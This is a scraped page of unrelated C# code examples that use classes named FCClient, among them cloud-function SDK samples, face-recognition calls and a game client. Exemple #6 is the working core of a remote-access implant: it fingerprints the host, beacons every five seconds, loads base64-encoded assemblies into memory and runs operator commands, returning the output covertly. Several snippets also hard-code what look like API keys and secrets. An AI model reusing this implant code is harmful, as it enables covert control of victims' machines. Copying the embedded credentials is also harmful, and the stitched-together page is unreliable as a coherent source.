Exemple #1
0
        static void Main(string[] args)
        {
            Console.WriteLine(ACCOUNT_ID);
            Console.WriteLine(REGION);
            var fcClient = new FCClient(REGION, ACCOUNT_ID, ACCESS_KEY_ID, ACCESS_KEY_SECRET);

            fcClient.SetEndpoint("http://1011863232026330.dev-cluster-1.test.fc.aliyun-inc.com");

            var resp = fcClient.ListInstances(new ListInstancesRequest(serviceName, functionName, qualifier));

            Console.WriteLine(resp.Data);

            var insid = "";

            if (resp.Data != null && resp.Data.Instances != null)
            {
                foreach (var instance in resp.Data.Instances)
                {
                    Console.WriteLine(instance.InstanceId, instance.VersionId);
                    insid = instance.InstanceId;
                }

                if (insid != "")
                {
                    var execResp = fcClient.InstanceExec(new InstanceExecRequest(serviceName, functionName, insid, new string[] { "/bin/bash" }), new Callback());

                    execResp.Start();
                }
            }
        }
        public async Task <FCResult> Auth()
        {
            _Client = new FCClient(_ApiKey, _ApiSecret);
            FCResult result = await _Client.Account.AuthenticateAsync();

            return(result);
        }
Exemple #3
0
        static async Task _Main(string[] args)
        {
            InitLogging();
            log4net.ILog log = log4net.LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
            try
            {
                var ctx = new FCClient(ConfigurationManager.AppSettings["ApiKey"], ConfigurationManager.AppSettings["ApiSecret"]);
                var tagNamespace = ConfigurationManager.AppSettings["TagNamespace"];
                foreach (var file in Directory.GetFiles(ConfigurationManager.AppSettings["SourceDirectory"]))
                {
                    var nameParts = Path.GetFileNameWithoutExtension(file).Split('-');
                    var recognizeAs = nameParts.First();
                    log.DebugFormat("Preparing to recognize {0} as {1}", file, recognizeAs);

                    using (var fs = new FileStream(file, FileMode.Open))
                    {
                        var faces = await ctx.Faces.DetectAsync(new String[0], new[] {fs});
                        var tags = faces.Photos.SelectMany(i => i.Tags).Select(i => i.TagId).ToList();
                        if (tags.Count != 1)
                        {
                            log.WarnFormat("Expected to get 1 face, but got {0} for {1}", tags.Count, recognizeAs);
                            continue;
                        }

                        var userId = string.Format("{0}@{1}", recognizeAs, tagNamespace);
                        var res = await ctx.Tags.SaveAsync(tags, userId);
                        if (res.Status != Status.Success)
                        {
                            log.WarnFormat("Failed to save {0}: {1}{2}", recognizeAs, res.Message, res.ErrorMessage);
                            continue;
                        }
                        log.DebugFormat("Loaded {0}: {1}", recognizeAs, res.Message);

                        log.DebugFormat("Starting training for {0}", userId);
                        var train = await ctx.Faces.TrainAsync(new[] { userId });
                        if (train.Status != Status.Success)
                        {
                            log.WarnFormat("Failed to save {0}: {1}{2}", recognizeAs, train.Message, train.ErrorMessage);
                            continue;
                        }
                        log.DebugFormat("Result: {0}", train.Message);
                    }

                }
            }
            catch (Exception ex)
            {
                log.Error("Main", ex);
            }
        }
Exemple #4
0
    // Use this for initialization
    void Start()
    {
        if (!isOfflinePlay)
        {
            _client = new FCClient(FCDownloadManager.URL_ZONE_SERVER, this, Assembly.GetAssembly(typeof(NetworkManager)));

            _client.fatalServerErrorProcessor = FatalServerErrorCallback;

            Login();
        }
        else
        {
            LoadCharacterSelectionScene();
        }
    }
        static void Main(string[] args)
        {
            var fcClient  = new FCClient("cn-shanghai", "<your account id>", "<your ak id>", "<your ak secret>");
            var response1 = fcClient.CreateService(new CreateServiceRequest("csharp-service", "create by c# sdk"));

            Console.WriteLine(response1.Content);
            Console.WriteLine(response1.Data.ServiceName + "---" + response1.Data.Description);

            byte[] contents  = File.ReadAllBytes(@"/Users/songluo/gitpro/fc-dotnet-sdk/Libraries/samples/hello2.zip");
            var    code      = new Code(Convert.ToBase64String(contents));
            var    response2 = fcClient.CreateFunction(new CreateFunctionRequest("csharp-service", "csharp-function", "python3", "index.handler", code));

            Console.WriteLine(response2.Content);

            byte[] payload   = Encoding.UTF8.GetBytes("hello csharp world");
            var    response3 = fcClient.InvokeFunction(new InvokeFunctionRequest("csharp-service", "csharp-function", null, payload));

            Console.WriteLine(response3.Content);

            var customHeaders = new Dictionary <string, string> {
                { "x-fc-invocation-type", "Async" }
            };
            var response4 = fcClient.InvokeFunction(new InvokeFunctionRequest("csharp-service", "csharp-function", null, payload, customHeaders));

            Console.WriteLine(response4.StatusCode);

            var response5 = fcClient.CreateTrigger(new CreateTriggerRequest("csharp-service", "csharp-function", "my-http-trigger", "http", "dummy_arn", "",
                                                                            new HttpTriggerConfig(HttpAuthType.ANONYMOUS, new HttpMethod[] { HttpMethod.GET, HttpMethod.POST })));

            Console.WriteLine(response5.Content);

            var response6 = fcClient.DeleteTrigger(new DeleteTriggerRequest("csharp-service", "csharp-function", "my-http-trigger"));

            Console.WriteLine(response6.StatusCode);

            var response7 = fcClient.DeleteFunction(new DeleteFunctionRequest("test", "fff2"));

            Console.WriteLine(response7.StatusCode);

            var response8 = fcClient.DeleteService(new DeleteServiceRequest("csharp"));

            Console.WriteLine(response8.StatusCode);
        }
Exemple #6
0
    private static void FCommConnect()
    {
        //initialise the implant.

        if (initialised == false)
        {
            string u = "";
            try
            {
                u = WindowsIdentity.GetCurrent().Name;
            }
            catch
            {
                u = Environment.UserName;
            }
            if (ihInteg())
            {
                u += "*";
            }
            string dn       = Environment.UserDomainName;
            string cn       = Environment.GetEnvironmentVariable("COMPUTERNAME");
            string arch     = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
            int    pid      = Process.GetCurrentProcess().Id;
            var    procname = Process.GetCurrentProcess().ProcessName;
            Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
            string hostinfo = String.Format("FComm-Connected: {0};{1};{2};{3};{4};{5};", dn, u, cn, arch, pid, procname);
            FComm       = new FCClient(filename, hostinfo, encryption);
            initialised = true;
        }

        try
        {
            running = true;
            while (running)
            {
                if (initialised == true)
                {
                    var output = new StringBuilder();

                    //DANGER: Removing this could end up absolutely spanking the CPU, this is effectively Beacon Time for the implant.
                    Thread.Sleep(5000); //fixed beacon time.

                    FCDataGram Task = FComm.GetCurrentTasking();
                    if (Task == null)
                    {
                        //Nothing to do.
                        continue;
                    }

                    if (Task.Actioned == true)
                    {
                        //The task in the file has been actioned already.
                        continue;
                    }
                    //Base64 decode required here.
                    var cmd = Encoding.UTF8.GetString(Convert.FromBase64String(Task.Input));

                    var sOutput2 = new StringWriter(); //Setup stringwriter to buffer output from command.
                    if (cmd.ToLower().StartsWith("kill-implant"))
                    {
                        running     = false;
                        initialised = false;
                        sOutput2.WriteLine("[!] Killed Implant.");
                        FComm.CleanUp();
                        FComm = null;
                    }
                    else if (cmd.ToLower().StartsWith("loadmodule"))
                    {
                        try
                        {
                            var module   = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
                            var assembly = Assembly.Load(Convert.FromBase64String(module));
                        }
                        catch (Exception e) { sOutput2.WriteLine($"Error loading modules {e}"); }
                        sOutput2.WriteLine("Module loaded successfully");
                    }
                    else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
                    {
                        sOutput2.WriteLine("[!] This is not implemented yet in FComm implant types.");
                        //This might not work!? Need to consider how to approach this.

                        /*
                         * Thread t = new Thread(() => RunAssembly(cmd, true));
                         * t.Start();
                         * sOutput2.WriteLine("[+] Running task in background, run get-bg to get background output.");
                         * sOutput2.WriteLine("[*] Only run one task in the background at a time per implant.");
                         */
                    }
                    else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
                    {
                        var oldOutput = Console.Out; //redirecting output
                        Console.SetOut(sOutput2);
                        sOutput2.WriteLine(RunAssembly((cmd)));
                        Console.SetOut(oldOutput); //redirecting it back.
                    }
                    else if (cmd.ToLower() == "foo")
                    {
                        sOutput2.WriteLine("bar");
                    }
                    else if (cmd.ToLower() == "get-bg")
                    {
                        //Removing this as Rob says this should just work, but it's not been properly tested yet.
                        sOutput2.WriteLine("[!] This is not implemented yet in FComm implant types.");

                        /*
                         * var backgroundTaskOutputString = backgroundTaskOutput.ToString();
                         * if (!string.IsNullOrEmpty(backgroundTaskOutputString))
                         * {
                         *  output.Append(backgroundTaskOutputString); //check later.
                         * }
                         * else
                         * {
                         *  sOutput2.WriteLine("[-] No output");
                         * }*/
                    }
                    else
                    {
                        var oldOutput = Console.Out;
                        Console.SetOut(sOutput2);
                        sOutput2.WriteLine(RunAssembly($"run-exe Core.Program Core {cmd}"));
                        Console.SetOut(oldOutput);
                    }

                    output.Append(sOutput2.ToString());
                    Task.Output   = Convert.ToBase64String(Encoding.UTF8.GetBytes(output.ToString()));
                    Task.Actioned = true;
                    FComm.UpdateTask(Task);
                    output.Clear();
                    output.Length = 0;
                    sOutput2.Flush();
                    sOutput2.Close();
                }
            }
        }

        catch (Exception e)
        {
            Console.WriteLine("Error: " + e.Message);
            Console.WriteLine(e.StackTrace);
        }
    }
Exemple #7
0
 /// <summary>
 /// Initialisiert den Rest Service.
 /// </summary>
 private void InitializeService()
 {
     _client = new FCClient("5f228f0a0ce14e86a7c901f62ca5a569", "1231e9f2e95d4d90adf436e3de20f0f6");
     _result = _client.Account.EndAuthenticate(_client.Account.BeginAuthenticate(null, null));
 }
Exemple #8
0
 void OnDestroy()
 {
     _client = null;
 }
        public string[] ProcessImage(string rawDataUrl, out string intermediateUrl, out string finalUrl, out bool addedOverlay)
        {
            intermediateUrl = null;
            addedOverlay = false;
            var ctx = new FCClient(_apiKey, _apiSecret);

            string contentType;
            var data = GetDataFromUrl(rawDataUrl, out contentType);

            var dataToSend = ResizePictureForDetection(data);

            if (null == _possibleUsers)
            {
                _possibleUsers = Task.Run(async () => await ctx.Account.UsersAsync(new [] { _tagNamespace })).Result.Users[_tagNamespace].Select(i => i.Split('@')[0]).ToArray();
            }

            using (var ms = new MemoryStream(data))
            {
                var image = (Bitmap)Bitmap.FromStream(ms);
                new ContrastStretch().ApplyInPlace(image);

                List<Tag> faceTags = null;
                try
                {
                    var detectResult = Task.Run(async () =>
                    {
                        using (var msToSend = new MemoryStream(dataToSend))
                        {
                            return await ctx.Faces.RecognizeAsync(_possibleUsers, new string[0], new[] { msToSend }, _tagNamespace);
                        }
                    }).Result;
                    faceTags = detectResult.Photos.SelectMany(i => i.Tags).ToList();
                }
                catch (Exception ex)
                {
                    log.Error("Remote call", ex);
                }

                if (null == faceTags || faceTags.Count == 0)
                {
                    // our fancy web service can't figure out anything, use the local library :(
                    finalUrl = _imageCleanupService.CleanUpImage(rawDataUrl, out intermediateUrl);
                    return new string[0];
                }

                var intermediateImage = new Bitmap(image);
                var faces = faceTags.Select(i => GetTagBoundingBox(i, image)).ToList();
                addedOverlay = faceTags.Select(f => ProcessFace(f, intermediateImage, image)).ToList().Any(_ => _);

                var boundary = Math.Max(40, faces.Max(i => Math.Max(i.Height, i.Width)));
                var x1 = Math.Max(0, faces.Min(i => i.Left) - boundary);
                var y1 = Math.Max(0, faces.Min(i => i.Top) - boundary);
                var x2 = Math.Min(image.Width, faces.Max(i => i.Right) + boundary);
                var y2 = Math.Min(image.Height, faces.Max(i => i.Bottom) + boundary);

                var newBoundingBox = new Rectangle(x1, y1, x2 - x1, y2 - y1);
                new RectanglesMarker(new[] { newBoundingBox }, Color.Blue).ApplyInPlace(intermediateImage);

                using (var ms2 = new MemoryStream())
                {
                    intermediateImage.Save(ms2, ImageFormat.Jpeg);
                    intermediateUrl = string.Concat("data:image/jpeg;base64,", Convert.ToBase64String(ms2.ToArray()));
                }

                // save the original image without cropping @ JPG/100
                var finalImage = ImageHelper.GetBytes(s => image.Save(s, ImageHelper.JPEGEncoder(), ImageHelper.Quality(100)));
                finalUrl = string.Concat("data:image/jpeg;base64,", Convert.ToBase64String(finalImage));

                return faceTags.Select(GetMatch).Where(i => i != null).ToArray();
            }
        }
 /// <summary>
 /// Initialisiert den Rest Service.
 /// </summary>
 private void InitializeService()
 {
     _client = new FCClient("5f228f0a0ce14e86a7c901f62ca5a569", "1231e9f2e95d4d90adf436e3de20f0f6");
         _result = _client.Account.EndAuthenticate(_client.Account.BeginAuthenticate(null, null));
 }